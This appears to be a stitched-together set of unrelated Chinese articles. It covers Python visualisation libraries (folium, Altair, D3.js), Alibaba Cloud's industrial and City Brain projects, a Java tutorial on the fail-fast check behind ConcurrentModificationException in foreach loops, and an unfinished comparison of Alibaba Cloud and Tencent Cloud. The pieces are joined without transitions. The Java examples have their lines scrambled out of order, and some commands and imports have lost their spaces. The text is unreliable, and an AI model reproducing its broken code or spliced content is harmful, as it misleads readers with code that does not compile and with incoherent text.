<em>#底层的GeoJson和StepColormap对象是可访问的</em>
print(type(choropleth.geojson))
print(type(choropleth.color_scale))
folium.LayerControl(collapsed=<strong>False</strong>).add_to(m)
map.save(os.path.join('results','GeoChoro.html'))
map

这只是一个基本的地图，你可以添加标记，弹出窗口等等。可以是下面的leaflet和folium生成的地图

Altair + Vega

Altair是一个声明性统计可视化库，基于Vega和Vega-Lite。

声明意味着只需要提供数据列与编码通道之间的链接，例如x轴，y轴，颜色等，其余的绘图细节它会自动处理。声明使Altair变得简单，友好和一致。使用Altair可以轻松设计出有效且美观的可视化代码。

Altair使您能够使用强大而简洁的可视化语法快速开发各种统计可视化图表。如果您使用的是Jupyter Notebook，则需要按以下方式安装它。它还包括一些示例vega数据集。

pipinstall-Ualtairvega_datasetsnotebookvega

Altair主要依赖Vega，为了使图表在屏幕上可见，你需要安装Vega，并且还需要为每个新会话运行此命令：

alt.renderers.enable(‘notebook’)

Altair中的数据是围绕Pandas Dataframe构建的。统计可视化最明显的特征是以整洁的Dataframes开始。您还可以将绘图另存为图像或在vega编辑器中打开它以获得更多选项。Altair可能不是最好的，但绝对值得一试。

下面这个例子，我使用了汽车数据集;

importaltairasalt
fromvega_datasetsimportdata
source=data.cars()
brush=alt.selection(type='interval')
points=alt.Chart().mark_point().encode(
x='Horsepower:Q',
y='Miles_per_Gallon:Q',
color=alt.condition(brush,'Origin:N',alt.value('lightgray'))
).add_selection(
brush
)
bars=alt.Chart().mark_bar().encode(
y='Origin:N',
color='Origin:N',
x='count(Origin):Q'
).transform_filter(
brush
)
alt.vconcat(points,bars,data=source)

Altair和Vega生成的分散图和直方图

D3.js（数据驱动文档DDD）

D3.js是一个JavaScript库，根据数据操作文档。您可以使用HTML，SVG和CSS将数据变成活灵活现的图表。D3并不要求您将自己绑定到任何专有框架，因为现代浏览器拥有D3所需的一切，它还用于组合强大的可视化组件和数据驱动的DOM操作方法。

D3.js是目前市场上最好的数据可视化库。 您可以将它与python一起使用，也可以与R一起使用。最初，它可以与JavaScript一起使用，因为JS具有广泛的功能并且需要大量的学习和经验，但是如果你是JS专业人员则不需要犹豫。虽然Python和R使D3.js变得更简单，但只是一点点！总之D3.js是绝对不会错的上佳之选。

D3py有3个主要依赖项：

NumPy

Pandas

NetworkX

我建议你使用JavaScript或R，而不是python，因为版本已经过时，最后一次更新是在2016年。而且只是D3.js的一个瘦的python包装器。

R提供D3可视化接口。使用r2d3，您可以将数据从R绑定到D3可视化。使用r2d3创建的D3可视化就像RStudio，R Markdown文档和Shiny应用程序中的R图一样工作。您可以按如下方式从CRAN 安装r2d3软件包：

install.packages(“r2d3”)

你可以做一些惊人的可视化，例如下面这几个：

Sequences Sunburst — Kerry Rodden’s Block (Source)

文/ 邱月烨

在推动传统企业互联网化转型的过程中，有很多选择，也有很多模式，究竟哪一种路径能够带来更成功的互联网化转型？

阿里巴巴集团技术委员会主席王坚博士说：“如何定义互联网企业，它需要满足两个特征，一是要有云计算，二是要在云计算的基础上用数据来优化业务。”在他看来，很多人依然只是将互联网视为一个渠道，而不是思路和生意模式的转变。

2009年9月，在马云的支持下，王坚创建阿里云计算公司并任总裁，领导团队自主研发了大规模分布式计算系统“飞天”，完成了云计算公共服务的商业化。同年提出并主导了阿里巴巴集团的去“IOE”战略。2010年，他又率领团队，孵化并打造了YunOS，建立起商业化的操作系统平台，用于手机、汽车、电视等智能设备。

2015年10月，阿里在杭州召开了首届云栖大会——前身是阿里云开发大会。在这次会议上，马云发表了“计算能力将会成为一种生产能力，而数据将会成为最大的生产资料，会成为像水、电、石油一样的公共资源”这一广为流传的观点。

随后每一年，马云不停在云栖大会上抛出新概念：2016年，马云提出著名的“五新”战略（新零售、新金融、新制造、新技术、新能源）；2017年，马云宣布成立达摩院；2018年，马云重提“新制造”。

阿里云向传统行业推进的步伐也跟随着马云的大战略，承担着阿里to B、to G输出技术与服务的重担，逐渐席卷从金融业到零售业到制造业，再到城市的每一个角落。

进军实体经济

2018年11月2日，阿里巴巴集团公布2019财年第二季度（2018年7月至9月底）业绩，阿里云业务季度营收达到56.67亿元，整个上半财年营收首次突破100亿元，亚洲市场第一的领先优势继续扩大。

美国权威机构Gartner统计，阿里云的营收规模连续两年位居全球云计算厂商前三。在国内，阿里云的市场份额位居首位，甚至超过二至五名的总和，其中包括腾讯、百度。

阿里云高增速的背后，是产品的快速更迭和出新。以2019财年第二季度为例，阿里云推出了600多种新产品和功能，涉及专有云产品开发、大数据分析和人工智能应用创新、安全及IoT物联网服务的提高，比如ET工业大脑开放平台、全链路生态服务的LoRa物联网、企业级区块链BaaS服务以及全面升级的飞天2.0云计算操作系统等。

在阿里内部，阿里云最早的实践是支付宝或者说蚂蚁金服，帮助支付宝度过数次“双十一”交易洪峰。

在外部，互联网公司是最早接受云概念的，例如微博，其特点是业务高峰不可预知且不可估算，每次遇到热点事件和重大活动，微博会因瞬时极高的访问量而造成瘫痪。云的弹性特点完美解决了这一问题，可以对峰值流量的挑战进行快速调整和扩容。新浪微博首席技术官刘子正曾表示，使用阿里云让新浪微博至少节省了1400台服务器。

近两年，阿里云的触角逐渐从线上走到实体经济。2018年11月22日，在广东云栖大会上，阿里云正式发布飞龙工业互联网平台，该平台立足广东，辐射粤港澳大湾区，帮助广东打造新能源、电气装备等八大工业互联网产业集群。

物联网、云计算、人工智能是阿里云的三驾马车，飞龙工业互联网平台即构筑于三者之上，基于此打通制造型企业的信息化系统，利用工业IoT梳理制造企业的供研产销全链路数据，在云端构建工业大数据平台，并通过ET工业大脑对数据进行加工分析，优化制造流程。

目前，海油发展、京信通信、瀚蓝环境、迪森热能等广东制造企业已经采用飞龙平台。事实上，早在2016年，阿里云的工程师就进入工厂车间，与协鑫光伏、中策橡胶等行业龙头合作。

“两年多前，当所有人争论实体经济、虚拟经济时，阿里云的工程师们看到了实体经济中最有潜力、最有挑战的地方：数据特别密集，智能特别匮乏；数据越来越多，速度越来越慢。”阿里云机器智能首席科学家闵万里说。

以光伏产业为例，闵万里介绍，阿里云已从最早期的单点智能、工厂里走到整个生产流程环节，已实现从切片到电池组车间全链路的打通。“智能的起点是一个流程当中很小的环节，但最终顺着数据流的上行和下行并贯穿始终的时候，价值链实现了百分之百的覆盖。”

协鑫光伏良品率提升1%，一年多赚上亿；中策橡胶提升混炼胶平均合格率3%-5%，一年多赚几千万；恒逸石化的锅炉燃煤发电效率提升了2.6%，每年节煤有数千万元的收入。“当你讲清楚价值的时候，制造企业都抢着上云。”闵万里说。

阿里云通过不断的案例积累和学习，逐渐形成了针对不同行业的“算法包”，闵万里将其称为“经验数据化”。“凡是依赖‘老师傅’的经验，而且具有高度重复性的工作，都有可能用算法的方式去学会‘老师傅’的经验，而且超越他。就像谷歌的阿尔法狗下围棋，它能够学习所有九段棋手的棋谱，因为看得快算得快，一夜之间就成了十段。”

但这其中涉及到数据机密的问题：领先的企业是否愿意与其他公司分享自己的经验？闵万里认为这个担忧不成立。“一个医生给你看了病，医生的经验增长了，之后他再去给另外一个人看病，你不准他去看吗？不会把他的数据、参数泄露出去，我提炼的是知识和控制的机理。‘老师傅’会跳槽，没带走任何东西，只有他的脑袋。”

目前，在飞龙平台上形成“算法包”的行业涉及广东八大互联网产业集群，包括新能源产业、汽车及零部件产业、电器装备产业、LED灯具产业、日用化工品产业、小家电产业。“算法包是有行业属性的，光伏的不能用到电力的，不能用到钢铁的。八大行业的案例我们全都做过，里面的能力模块都提炼成行业模块，行业模块就放在工业物联网平台上，只要行业对应开发者就能用。”

此外，ET工业大脑还在平台上与合作伙伴、开发者共同赋能，让中小企业也能受惠于人工智能技术。黑格科技是一家由7位90后常春藤大学毕业生创办的公司，聚焦3D打印应用和数字化智能制造技术。如牙齿打印这个领域，以往只能通过经验来控制3D打印固化物与树脂槽底的逐层分离，是个难点。飞龙平台上的ET工业大脑可以分析剥离过程中的层面积、层曝光时间、材料耗损等多达15个维度的关键因素，智能推荐合适的剥离力参数，使黑格科技的整体打印时间缩短40%。这也是3D打印行业史上第一次基于人工智能技术提高打印效率。

看得见的云

摄像头越来越多，道路越来越堵，这是目前很多大城市的通病。但在杭州，这样的现象现在几乎不复存在。一个最直观的数据是，在全国最拥堵城市排行榜上，杭州从2016年第5名下降到第57名。这一切很大程度上要归功于2016年阿里云在杭州启动的“城市大脑”建设。

阿里巴巴很早就判断产业互联网将是未来的发展趋势，云计算等新技术会给各个产业带来巨大的提升机会，并将成为经济转型的重要爆发点，并为这一天的到来进行了长达6年的技术部署。

在2018年的云栖大会上，阿里云前总裁胡晓明表示：“前20年互联网的发展实现了人和服务的连接，后面20年将由to C的互联网驱动to B和to G的改变。为什么我们今天要推行城市大脑？因为消费者都在通过互联网获取服务，无论是零售、制造、金融、城市管理，都要围绕着消费者的改变而改变。产业互联网一定是一个大生态、大机会，在未来的20年持续成长。”

目前，杭州城市大脑2.0已经覆盖杭州市420平方公里，过去一年管辖范围扩大了28倍；涵盖20多个部门、100多个系统，首次实现了城市数据的汇聚、融合、计算，打破了城市数据孤岛；优化了1300个红绿灯路口，占大杭州路口总数1/4，其中一半路口无人调控，同时接入4500路视频。

当一辆救护车开始出发后，计算便开始了：高德地图、GPS 卫星导航、路面磁感线圈、1300 个路口摄像头同时开动，为这辆救护车勘探最快路线；GPS 传回实时数据，后台根据辅助数据纠偏，锚定救护车每一刻的精确位置；救护车将要经过的沿途，车辆情况被实时计算，确保路口绿灯提前亮起，在救护车通过之前，刚好所有社会车辆已经行驶一空……就这样，一辆救护车在不闯红灯的前提下，到达救护地点的时间缩短50%，从过去的 15 分钟降到现在的 7－8 分钟。

城市交通是城市大脑最早切入的领域之一，解决了交通工程实践几十年未曾突破的根本问题：第一次实现了城市生命体从主动脉至毛细血管的多层次实时全息量化透视，如对在途车辆数的实时计算，得到同一时间处于行驶状态的机动车数。

城市大脑2.0还有一个重大突破，通过手持的移动终端，大脑可以直接指挥杭州市200多名交警，如派交警机动队现场处置交通事故等，目前城市大脑报警已占全部警情96%以上。

王坚是城市大脑的主导人之一，他时常拿美国波士顿的 “Big Dig”项目作为反例：当时波士顿城区的交通不好，于是修地下隧道，不到20英里的路花了160亿美元和整整20年。“杭州做了一件事情，就是不修路，让交通能畅通起来。”王坚说。

王坚对城市大脑寄予厚望，远不止交通。作为城市重要的基础设施，城市大脑未来还可能会在城市治理、城市安全、医疗健康等社会全领域发挥基础性作用。

对于to G服务，胡晓明强调，数据属于政府。“阿里巴巴不会碰任何数据，提供的是技术能力，我们协同政府一起制定关于政府数据开放的标准、能力，但是以政府为主，我们仅仅提供服务。”

胡晓明也希望将城市大脑从杭州推向更多城市，“这个推动不是因为阿里要做生意，而是城市的方方面面都应该以数据驱动创新，带动变革”。

在阿里巴巴Java开发手册中，有这样一条规定：

但是手册中并没有给出具体原因，本文就来深入分析一下该规定背后的思考。

1.foreach循环

foreach循环(Foreach loop)是计算机编程语言中的一种控制流程语句，通常用来循环遍历数组或集合中的元素。

Java语言从JDK 1.5.0开始引入foreach循环。在遍历数组、集合方面，foreach为开发人员提供了极大的方便。通常也被称之为增强for循环。

foreach 语法格式如下：

	for(元素类型t 元素变量x : 遍历对象obj){  

     引用了x的java语句;  

	}  

以下实例演示了 普通for循环 和 foreach循环使用：

	public static void main(String[] args) { 

    // 使用ImmutableList初始化一个List 

	    List<String> userNames = ImmutableList.of("Hollis", "hollis", "HollisChuang", "H"); 

 
    System.out.println("使用for循环遍历List"); 
    for (int i = 0; i < userNames.size(); i++) { 

	    for (String userName : userNames) { 

        System.out.println(userNames.get(i)); 
    } 
 
    System.out.println("使用foreach遍历List"); 
        System.out.println(userName); 

	} 



	    } 

以上代码运行输出结果为：

	使用for循环遍历List 

Hollis 

	HollisChuang 

hollis 
H 

	使用foreach遍历List 

Hollis 
hollis 

	H 



	HollisChuang 

可以看到，使用foreach语法遍历集合或者数组的时候，可以起到和普通for循环同样的效果，并且代码更加简洁。所以，foreach循环也通常也被称为增强for循环。

但是，作为一个合格的程序员，我们不仅要知道什么是增强for循环，还需要知道增强for循环的原理是什么?

其实，增强for循环也是Java给我们提供的一个语法糖，如果将以上代码编译后的class文件进行反编译(使用jad工具)的话，可以得到以下代码：

	Iterator iterator = userNames.iterator(); 

do 
{ 
    if(!iterator.hasNext()) 

	    String userName = (String)iterator.next(); 

        break; 
    if(userName.equals("Hollis")) 

	} while(true); 

        userNames.remove(userName); 

	System.out.println(userNames); 

可以发现，原本的增强for循环，其实是依赖了while循环和Iterator实现的。(请记住这种实现方式，后面会用到!)

2.问题重现

规范中指出不让我们在foreach循环中对集合元素做add/remove操作，那么，我们尝试着做一下看看会发生什么问题。

	// 使用双括弧语法（double-brace syntax）建立并初始化一个List 



	List<String> userNames = new ArrayList<String>() {{ 

    add("Hollis"); 
    add("hollis"); 

	for (int i = 0; i < userNames.size(); i++) { 

    add("HollisChuang"); 
    add("H"); 
}}; 
 

	        userNames.remove(i); 

    if (userNames.get(i).equals("Hollis")) { 
    } 
} 
 

	System.out.println(userNames); 

以上代码，首先使用双括弧语法(double-brace syntax)建立并初始化一个List，其中包含四个字符串，分别是Hollis、hollis、HollisChuang和H。

然后使用普通for循环对List进行遍历，删除List中元素内容等于Hollis的元素。然后输出List，输出结果如下：

[hollis, HollisChuang, H] 

以上是使用普通的for循环在遍历的同时进行删除，那么，我们再看下，如果使用增强for循环的话会发生什么：

	List<String> userNames = new ArrayList<String>() {{ 

    add("Hollis"); 
    add("hollis"); 

	for (String userName : userNames) { 

    add("HollisChuang"); 
    add("H"); 
}}; 
 

	        userNames.remove(userName); 

    if (userName.equals("Hollis")) { 
    } 
} 
 

	System.out.println(userNames); 

以上代码，使用增强for循环遍历元素，并尝试删除其中的Hollis字符串元素。运行以上代码，会抛出以下异常：

java.util.ConcurrentModificationException 

同样的，读者可以尝试下在增强for循环中使用add方法添加元素，结果也会同样抛出该异常。

之所以会出现这个异常，是因为触发了一个Java集合的错误检测机制——fail-fast 。

3.fail-fast

接下来，我们就来分析下在增强for循环中add/remove元素的时候会抛出java.util.ConcurrentModificationException的原因，即解释下到底什么是fail-fast进制，fail-fast的原理等。

fail-fast，即快速失败，它是Java集合的一种错误检测机制。当多个线程对集合(非fail-safe的集合类)进行结构上的改变的操作时，有可能会产生fail-fast机制，这个时候就会抛出ConcurrentModificationException(当方法检测到对象的并发修改，但不允许这种修改时就抛出该异常)。

同时需要注意的是，即使不是多线程环境，如果单线程违反了规则，同样也有可能会抛出改异常。

那么，在增强for循环进行元素删除，是如何违反了规则的呢?

要分析这个问题，我们先将增强for循环这个语法糖进行解糖(使用jad对编译后的class文件进行反编译)，得到以下代码：

	public static void main(String[] args) { 

    // 使用ImmutableList初始化一个List 

	    List<String> userNames = new ArrayList<String>() {{ 

        add("Hollis"); 
        add("hollis"); 
        add("HollisChuang"); 

	    { 

        add("H"); 
    }}; 
 
    Iterator iterator = userNames.iterator(); 
    do 

	        String userName = (String)iterator.next(); 

        if(!iterator.hasNext()) 
            break; 
        if(userName.equals("Hollis")) 

	} 

            userNames.remove(userName); 
    } while(true); 

	    System.out.println(userNames); 

然后运行以上代码，同样会抛出异常。我们来看一下ConcurrentModificationException的完整堆栈：

通过异常堆栈我们可以到，异常发生的调用链ForEachDemo的第23行，Iterator.next 调用了 Iterator.checkForComodification方法 ，而异常就是checkForComodification方法中抛出的。

其实，经过debug后，我们可以发现，如果remove代码没有被执行过，iterator.next这一行是一直没报错的。抛异常的时机也正是remove执行之后的的那一次next方法的调用。

我们直接看下checkForComodification方法的代码，看下抛出异常的原因：

	final void checkForComodification() { 

    if (modCount != expectedModCount) 

	        throw new ConcurrentModificationException(); 



	} 

代码比较简单，modCount != expectedModCount的时候，就会抛出ConcurrentModificationException。

那么，就来看一下，remove/add 操作室如何导致modCount和expectedModCount不相等的吧。

4.remove/add 做了什么

首先，我们要搞清楚的是，到底modCount和expectedModCount这两个变量都是个什么东西。

通过翻源码，我们可以发现：

• modCount是ArrayList中的一个成员变量。它表示该集合实际被修改的次数。
• expectedModCount 是 ArrayList中的一个内部类——Itr中的成员变量。expectedModCount表示这个迭代器期望该集合被修改的次数。其值是在ArrayList.iterator方法被调用的时候初始化的。只有通过迭代器对集合进行操作，该值才会改变。
• Itr是一个Iterator的实现，使用ArrayList.iterator方法可以获取到的迭代器就是Itr类的实例。

他们之间的关系如下：

	class ArrayList{ 



	    private int modCount; 

    public void add(); 

	    private class Itr implements Iterator<E> { 

    public void remove(); 

	    public Iterator<E> iterator() { 

        int expectedModCount = modCount; 
    } 

	} 

        return new Itr(); 

	    } 

其实，看到这里，大概很多人都能猜到为什么remove/add 操作之后，会导致expectedModCount和modCount不想等了。

通过翻阅代码，我们也可以发现，remove方法核心逻辑如下：

可以看到，它只修改了modCount，并没有对expectedModCount做任何操作。

简单总结一下，之所以会抛出ConcurrentModificationException异常，是因为我们的代码中使用了增强for循环，而在增强for循环中，集合遍历是通过iterator进行的，但是元素的add/remove却是直接使用的集合类自己的方法。这就导致iterator在遍历的时候，会发现有一个元素在自己不知不觉的情况下就被删除/添加了，就会抛出一个异常，用来提示用户，可能发生了并发修改。

5.正确姿势

至此，我们介绍清楚了不能在foreach循环体中直接对集合进行add/remove操作的原因。

但是，很多时候，我们是有需求需要过滤集合的，比如删除其中一部分元素，那么应该如何做呢?有几种方法可供参考：

1、直接使用普通for循环进行操作

我们说不能在foreach中进行，但是使用普通的for循环还是可以的，因为普通for循环并没有用到Iterator的遍历，所以压根就没有进行fail-fast的检验。

	List<String> userNames = new ArrayList<String>() {{ 

        add("Hollis"); 
        add("hollis"); 

	    }}; 

        add("HollisChuang"); 
        add("H"); 
 

	        if (userNames.get(i).equals("Hollis")) { 

    for (int i = 0; i < 1; i++) { 
            userNames.remove(i); 
        } 

	    System.out.println(userNames); 



	    } 

2、直接使用Iterator进行操作

除了直接使用普通for循环以外，我们还可以直接使用Iterator提供的remove方法。

	List<String> userNames = new ArrayList<String>() {{ 

        add("Hollis"); 
        add("hollis"); 

	    }}; 

        add("HollisChuang"); 
        add("H"); 
 

	    while (iterator.hasNext()) { 

    Iterator iterator = userNames.iterator(); 
 
        if (iterator.next().equals("Hollis")) { 

	    System.out.println(userNames); 

            iterator.remove(); 
        } 

	    } 

如果直接使用Iterator提供的remove方法，那么就可以修改到expectedModCount的值。那么就不会再抛出异常了。其实现代码如下：

3、使用Java 8中提供的filter过滤

Java 8中可以把集合转换成流，对于流有一种filter操作， 可以对原始 Stream 进行某项测试，通过测试的元素被留下来生成一个新 Stream。

	List<String> userNames = new ArrayList<String>() {{ 

        add("Hollis"); 
        add("hollis"); 

	    }}; 

        add("HollisChuang"); 
        add("H"); 
 

	    userNames = userNames.stream().filter(userName -> !userName.equals("Hollis")).collect(Collectors.toList()); 



	    System.out.println(userNames); 

4、直接使用fail-safe的集合类

在Java中，除了一些普通的集合类以外，还有一些采用了fail-safe机制的集合类。这样的集合容器在遍历时不是直接在集合内容上访问的，而是先复制原有集合内容，在拷贝的集合上进行遍历。

由于迭代时是对原集合的拷贝进行遍历，所以在遍历过程中对原集合所作的修改并不能被迭代器检测到，所以不会触发ConcurrentModificationException。

	ConcurrentLinkedDeque<String> userNames = new ConcurrentLinkedDeque<String>() {{ 

    add("Hollis"); 
    add("hollis"); 
    add("HollisChuang"); 
    add("H"); 

	        userNames.remove(); 

}}; 
 
for (String userName : userNames) { 
    if (userName.equals("Hollis")) { 

	} 



	    } 

基于拷贝内容的优点是避免了ConcurrentModificationException，但同样地，迭代器并不能访问到修改后的内容，即：迭代器遍历的是开始遍历那一刻拿到的集合拷贝，在遍历期间原集合发生的修改迭代器是不知道的。

java.util.concurrent包下的容器都是安全失败，可以在多线程下并发使用，并发修改。

5、使用增强for循环其实也可以

如果，我们非常确定在一个集合中，某个即将删除的元素只包含一个的话， 比如对Set进行操作，那么其实也是可以使用增强for循环的，只要在删除之后，立刻结束循环体，不要再继续进行遍历就可以了，也就是说不让代码执行到下一次的next方法。

	List<String> userNames = new ArrayList<String>() {{ 

        add("Hollis"); 
        add("hollis"); 

	    }}; 

        add("HollisChuang"); 
        add("H"); 
 

	        if (userName.equals("Hollis")) { 

    for (String userName : userNames) { 
            userNames.remove(userName); 

	    System.out.println(userNames); 

            break; 
        } 

	    } 

以上这五种方式都可以避免触发fail-fast机制，避免抛出异常。如果是并发场景，建议使用concurrent包中的容器，如果是单线程场景，Java8之前的代码中，建议使用Iterator进行元素删除，Java8及更新的版本中，可以考虑使用Stream及filter。

6.总结

我们使用的增强for循环，其实是Java提供的语法糖，其实现原理是借助Iterator进行元素的遍历。

但是如果在遍历过程中，不通过Iterator，而是通过集合类自身的方法对集合进行添加/删除操作。那么在Iterator进行下一次的遍历时，经检测发现有一次集合的修改操作并未通过自身进行，那么可能是发生了并发被其他线程执行的，这时候就会抛出异常，来提示用户可能发生了并发修改，这就是所谓的fail-fast机制。

当然还是有很多种方法可以解决这类问题的。比如使用普通for循环、使用Iterator进行元素删除、使用Stream的filter、使用fail-safe的类等。

好啦，以上就是本文的全部内容。主要介绍了阿里巴巴Java开发手册禁止在foreach循环体中进行元素的add/remove等原因及背后原理。

本文旨在通过人工智能行业对云服务平台代表性产品——阿里云、腾讯云的产品定位、核心功能、发展战略等方面的研究，探讨人工智能云服务平台产品的在国内的发展趋势。为之后根据实际情况，利用具有较多优势的云服务平台，研发应用层人工智能产品提供决策辅助。

一、行业背景

1. 行业概况

云计算的发展经历了从虚拟化、并行等技术成熟的前期积累阶段，到SaaS、IaaS、PaaS 三种形式出现的形成阶段，当前正处于通过深度竞争形成主流平台和标准的成熟阶段。

云计算作为移动互联网、物联网、大数据、智能硬件和工业 4.0 等新兴方向的底层支撑，近年来发展迅速。

以SaaS为代表的云服务出现在20世纪90年代末。2005年亚马逊推出的AWS服务，使产业界真正认识到一种新的IT服务模式的诞生。在此之后，谷歌、IBM、微软等互联网和IT企业分别从不同的角度开始提供不同层面的云计算服务，云服务进入了快速发展的阶段。

云服务正在逐步突破互联网市场的范畴，政府、公共管理部门、各行业企业也开始接受云服务的理念，并开始将传统的自建IT方式转为使用公共云服务方式，云服务将真正进入其产业的成熟期。

2. 市场现状

发展阶段:

一个行业大致可以分为四个发展阶段：探索阶段、快速发展阶段、成熟阶段、衰退阶段。

根据2015年Gartner技术成熟度曲线，大部分云计算服务——如：AI云服务，仍处于快速发展期；部分服务——如：SaaS与IaaS，处于成熟期。

为了推进云计算的快速发展，相关支持政策陆续出台。

根据工业和信息化部印发的《云计算发展三年行动计划(2017-2019年)》：计划目标到2019年，我国云计算产业规模达到4300亿元，大量的资本进场将其带入一个高潮。

总体来看，当前我国云计算市场整体规模较小，与全球云计算市场相比有3-5年的差距。虽然整体行业趋于成熟，但渗透率并不高。全球市场中，全球IT总投入大概是3.5万亿美金，其中云计算市场只占到3000亿美金左右，整个市场渗透率只有10%左右，而国内云计算市场渗透率更低。

爱分析首席分析师李喆表示：中国云计算市场渗透率只有5-7%，仍处于相对早期阶段。考虑到国内云服务发展略微滞后的现实，我们认为国内云服务平台仍处于快速发展期的中后阶段。

图1. 2015技术成熟度曲线（Gartner,2015）

市场规模：

据前瞻产业研究院发布的《中国云计算产业发展前景与投资战略规划分析报告》统计数据显示：我国公有云市场保持50%以上的增速。

截止至2017年我国云计算整体市场规模达691.6亿元，增速34.32%。其中，公有云市场规模达到264.8亿元，相比2016年增长55.7%。预计2018-2021年仍将保持快速增长态势，到2021年市场规模将达到902.6亿元，私有云市场规模达426.8亿元，较2016年增长23.8%。预计未来几年将保持稳定增长，到2021年市场规模将达到955.7亿元。

其中，IaaS(基础设施即服务)成为公有云中增速最快的服务类型。

2017年，公有云IaaS市场规模达到148.7亿元，相比2016年增长70.1%。截止2018年6月底，共有301家企业获得了工信部颁发的云服务(互联网资源协作服务)牌照，随着大量地方行业IaaS服务商的进入，预计未来几年IaaS市场仍将快速增长。

PaaS(平台即服务)市场整体规模偏小，2017年仅为11.6亿元，较2016年增加52.6%。SaaS(软件即服务)市场规模达到104.5亿元，与2016年相比增长39.1%。

图2.2015-2021年我国云计算整体市场规模统计及增长情况预测（前瞻产业研究院，2019）

产业链：

当前，人工智能行业已经形成较清晰的产业链。

云计算的上游主要是芯片企业（Intel等）、网络设备提供商（华为，思科等）、网络运营商（中国电信、中国联通等）、储存提供商（EMC、华为等）、服务器提供商（浪潮、华为等）以及操作系统（Vmware，微软等）。

下游主要是不同行业的应用产品。云平台为技术层重要组成部分，国内代表产品有：阿里云、腾讯云、百度云、华为云等。

在人工智能领域，这些云平台主要整合了内容识别、智能语音、人脸识别、自然语言处理等功能，通过云平台、解决方案、SDK接入等形式供下游企业使用。

图3.中国AI产业链（易观，2018）

图4.中国云计算服务重点企业（易观，2018）

产业发展趋势：

AI+云：云平台集中数据和算力，”AI+云”是未来趋势 ——算力、算法和数据是AI不可或缺的 ” 三驾马车 “。

云计算的发展导致了大量数据向云平台集中，而云平台自身就具备强大的计算能力，只要再提交算法给云平台，就满足执行 AI 算法的核心要素。因此，云平台是执行AI算法的上佳选择。所以，通过直接在云平台上增加 AI 处理能力将是未来发展趋势。

云平台为 AI 提供运行平台，AI反过来提升云计算 “智商”。目前，阿里云、AWS、腾讯云、华为云等均已提供AI计算平台。

安全性能：云应用越多，云安全性将变得更加脆弱，这是一个众所周知的事实。

2018年全球信息安全支出预计达到930亿美元，2017年为864亿美元。在不久的将来，安全问题盛行，云计算行业将期待更多网络安全公司提出新的云安全措施。实现云安全服务的自动化、加速和集成可以重新定义云安全措施。

集中度上升：全球方面，2017年全球公有云市场份额排名前三的是：亚马逊 AWS，微软 Azure 和阿里云。

AWS 占据 54.2%的市场份额，阿里云的全球市场份额从 2016 年的 3.0%上升至 2017 年的 3.7%，领先于第四名谷歌 2.8%的市场份额，全球云计算整体市场集中度进一步提升。

2017年中国公有云服务整体市场份额中，阿里云继续保持市场领军位置，全年营收 11.12 亿美元，市场份额达到 45.5%；腾讯云居第二，营收 2.51 亿美元，市场份额达到 10.3%；中国电信排名第三，市场份额 7.6%；位居第四的金山云，市场份额为 6.5%；亚马逊 AWS首次进入国内前五，市场份额为 5.4%。

基础设施化：移动互联网在过去几年中充分释放了人口红利，现在，“如何继续挖掘数据红利？”，成了持续获客的保证。这就要求互联网云基础设施不仅能够提供虚拟机、存储、弹性扩容资源，而且要具备高效处理应用的能力，更需要像人工智能这样的智能底座来支持和经营数据。

在Cloud 1.0时代，主要以计算、存储、网络、数据库等资源型服务为主，要满足高并发、弹性扩缩容的需求。而这些需求通常基于高可用的软件和通用的硬件来实现。现在正是从Cloud 1.0向Cloud 2.0过渡的关键期，最大的变化是：基础设施要以应用为中心，以提供能力服务为主。

标准统一：目前，众多标准组织都把云的互操作、业务迁移和安全列为云计算3个最重要的标准化方向。

类似于今天电信网络中不同运营商同类业务间的互联互通，未来云提供商之间也必然实现互联，实现互操作，这也是建立更加合理的市场竞合关系的必要条件。

云平台之间的互操作将促进云计算产业链的进一步细分，并产生更加灵活和多样化的业务形式。互操作将产生众多云间接口的标准化需求，如：计算云与存储云间的接口、软件云与基础设施云间的接口等。

云间的业务迁移是维护市场秩序，避免业务垄断和用户锁定的重要基础。云间的业务迁移需要在提供同类云计算业务的提供商之间，定义标准化的业务、资源、数据描述方式，这也产生了大量的标准需求。

在云计算发展面临的挑战中，安全和隐私排在了首位。

云安全被认为是决定云计算能否生存下去的关键问题，因此也自然成为标准化所关注的重点。当然，安全问题需要从法律、监管、信任体系等多个角度入手去解决，标准化只是其中的一个方面。

从技术的角度看，云的安全问题带来了对云平台及客户端安全防护、数据加密、监管接口等多方面的标准化需求。

随着市场的扩大与业务的发展，云计算的标准化成为大势所趋。从长远来看，如果云计算要成为像电信、电力这样的公共服务行业，形成巨大的产业规模，实现标准化是众多厂商必然的选择。

目前，云计算的标准化虽然成果寥寥，但总体上呈现出一种“自下而上”的趋势，即先从一些具体领域或细节性技术入手，逐步形成总体的标准框架。在这个标准体系中，云的外部特性与接口，包括互操作、业务迁移与安全将是标准化的重要方向。

3. 小结

云平台正处在快速发展期到成熟期过渡阶段，未来发展趋势为：以业务为核心的云基础设施，人工智能与云服务的结合，安全性能的提高，标准的统一。

随着底层核心技术发展逐渐停滞，云平台市场在产品形式和服务内容上呈现出同质化，未来梯队划分将变得更加明显，头部产品存在无限可能，并将逐渐形成行业规范。

目前中国企业云计算渗透率为5-7%，与国外一些国家相比还有很大差距。但得益于政策额红利和中国企业的数字化转型，市场潜力空间较大仍然很大。伴随云平台服务质量的提高，价格的下降，行业扶持政策落实，未来以云平台为基础的产品及应用将迎来迅速发展。

二、竞品分析

1. 竞品确定

本次竞品分析选择腾讯云和阿里云，原因如下：

市场规模：

在2017年公有云市场中，阿里云的市场份额达到45.5%，腾讯达到10.3%，分别位于第一和第二。

阿里和腾讯在云计算业务上，是布局最早的互联网公司。

2018年1月，阿里巴巴公布2018财年第三季度财报数据，云计算是阿里增速最猛的业务，呈现三位数增长。2017年阿里云累计营收达到112亿人民币。同年8月，阿里财报显示：云计算付费用户数量已超过100万。

腾讯云并未在财报中直接公布自己的营收情况，但根据自媒体《科技十点见》的推算，腾讯云的年营收预计将达到百亿元级别，这一目标最快将在两年左右实现。

获客渠道：

阿里云和腾讯云也有浓厚的生态元素，比如：腾讯云的客户，有不少是腾讯投资过的公司，也有不少是腾讯泛娱乐生态的伙伴。

阿里云最初是因为电商服务器资源有冗余，可以开放，最初的客户是淘宝卖家，他们为了能更好地与淘宝系统对接，将进销存系统率先上云。腾讯云出现，则是因为腾讯在3Q大战后痛定思痛，大力做开放平台。然而，发现许多开发者，“没有能力在短期内建立一个服务用户的平台，就做云来提供服务。

技术实力：

云计算与人工智能、大数据、物联网甚至通信等技术都密不可分。要提供公共和综合云服务，就必须具备全面的技术能力。

